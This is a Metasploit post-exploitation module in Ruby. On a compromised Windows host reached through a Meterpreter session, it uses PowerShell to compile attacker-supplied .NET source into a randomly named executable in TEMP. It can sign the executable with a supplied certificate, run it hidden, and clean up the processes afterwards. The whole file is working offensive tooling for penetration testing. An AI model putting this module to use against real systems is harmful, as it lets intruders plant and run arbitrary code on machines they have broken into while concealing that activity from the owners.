##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  Rank = ExcellentRanking

  include Msf::Post::Windows::Powershell
  include Msf::Exploit::Powershell::DotNet

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Powershell .NET Compiler',
        'Description' => %q{
          This module will build a .NET source file using powershell. The compiler builds
          the executable or library in memory and produces a binary. After compilation the
          PowerShell session can also sign the executable if provided a path the
          a .pfx formatted certificate. Compiler options and a list of assemblies
          required can be configured in the datastore.
        },
        'License' => MSF_LICENSE,
        'Author' => 'RageLtMan <rageltman[at]sempervictus>',
        'Platform' => [ 'windows' ],
        'SessionTypes' => [ 'meterpreter' ],
        'DisclosureDate' => '2012-08-14',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_stat
              stdapi_sys_config_getenv
              stdapi_sys_config_getsid
              stdapi_sys_process_execute
            ]
          }
        }
      )
    )

    register_options(
      [
        OptPath.new('SOURCE_FILE', [true, 'Path to source code']),
        OptBool.new('RUN_BINARY', [false, 'Execute the generated binary', false]),
        OptString.new('ASSEMBLIES', [false, 'Any assemblies outside the defaults', 'mscorlib.dll, System.dll, System.Xml.dll, System.Data.dll' ]),
        OptString.new('OUTPUT_TARGET', [false, 'Name and path of the generated binary, default random, omit extension' ]),
        OptString.new('COMPILER_OPTS', [false, 'Options to pass to compiler', '/optimize']),
        OptString.new('CODE_PROVIDER', [true, 'Code provider to use', 'Microsoft.CSharp.CSharpCodeProvider'])
      ], self.class
    )
    register_advanced_options(
      [
        OptString.new('NET_CLR_VER', [false, 'Minimum NET CLR version required to compile', '4.0'])
      ], self.class
    )
  end

  def run
    # Make sure we meet the requirements before running the script
    unless session.type == 'meterpreter' || have_powershell?
      print_error 'Incompatible Environment'
      return 0
    end

    # Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
    if client.sys.config.is_system?
      print_error 'Cannot run as system'
      return 0
    end

    # End of file marker
    eof = Rex::Text.rand_text_alpha(8)
    env_suffix = Rex::Text.rand_text_alpha(8)
    net_com_opts = {}
    net_com_opts[:target] =
      datastore['OUTPUT_TARGET'] ||
      "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(rand(8..15))}.exe"
    net_com_opts[:com_opts] = datastore['COMPILER_OPTS']
    net_com_opts[:provider] = datastore['CODE_PROVIDER']
    net_com_opts[:assemblies] = datastore['ASSEMBLIES']
    net_com_opts[:net_clr] = datastore['NET_CLR_VER']
    net_com_opts[:cert] = datastore['CERT_PATH']

    begin
      net_com_opts[:harness] = ::File.read(datastore['SOURCE_FILE'])
      script = dot_net_compiler(net_com_opts)
      if datastore['Powershell::Post::dry_run']
        print_good "Compiler code:\n#{script}"
        return
      end
    rescue StandardError => e
      print_error e
      return
    end

    vprint_good "Writing to #{net_com_opts[:target]}"

    # Execute the powershell script
    print_status 'Building remote code.'
    cmd_out, running_pids, open_channels = execute_script(script, true)
    get_ps_output(cmd_out, eof)
    vprint_good "Cleaning up #{running_pids.join(', ')}"

    clean_up(nil, eof, running_pids, open_channels, env_suffix, false)

    # Check for result
    begin
      size = session.fs.file.stat(net_com_opts[:target].gsub('\\', '\\\\')).size
      print_good "File #{net_com_opts[:target].gsub('\\', '\\\\')} found, #{size}kb"
    rescue StandardError
      print_error "File #{net_com_opts[:target].gsub('\\', '\\\\')} not found," \
                  " NET CLR version #{datastore['NET_CLR_VER']} possibly not available"
      return
    end

    # Run the result
    if datastore['RUN_BINARY']
      cmd_out = session.sys.process.execute(net_com_opts[:target].gsub('\\', '\\\\'),
                                            nil, 'Hidden' => true, 'Channelized' => true)
      while (out = cmd_out.channel.read)
        print_good out
      end
    end

    print_good 'Finished!'
  end
end
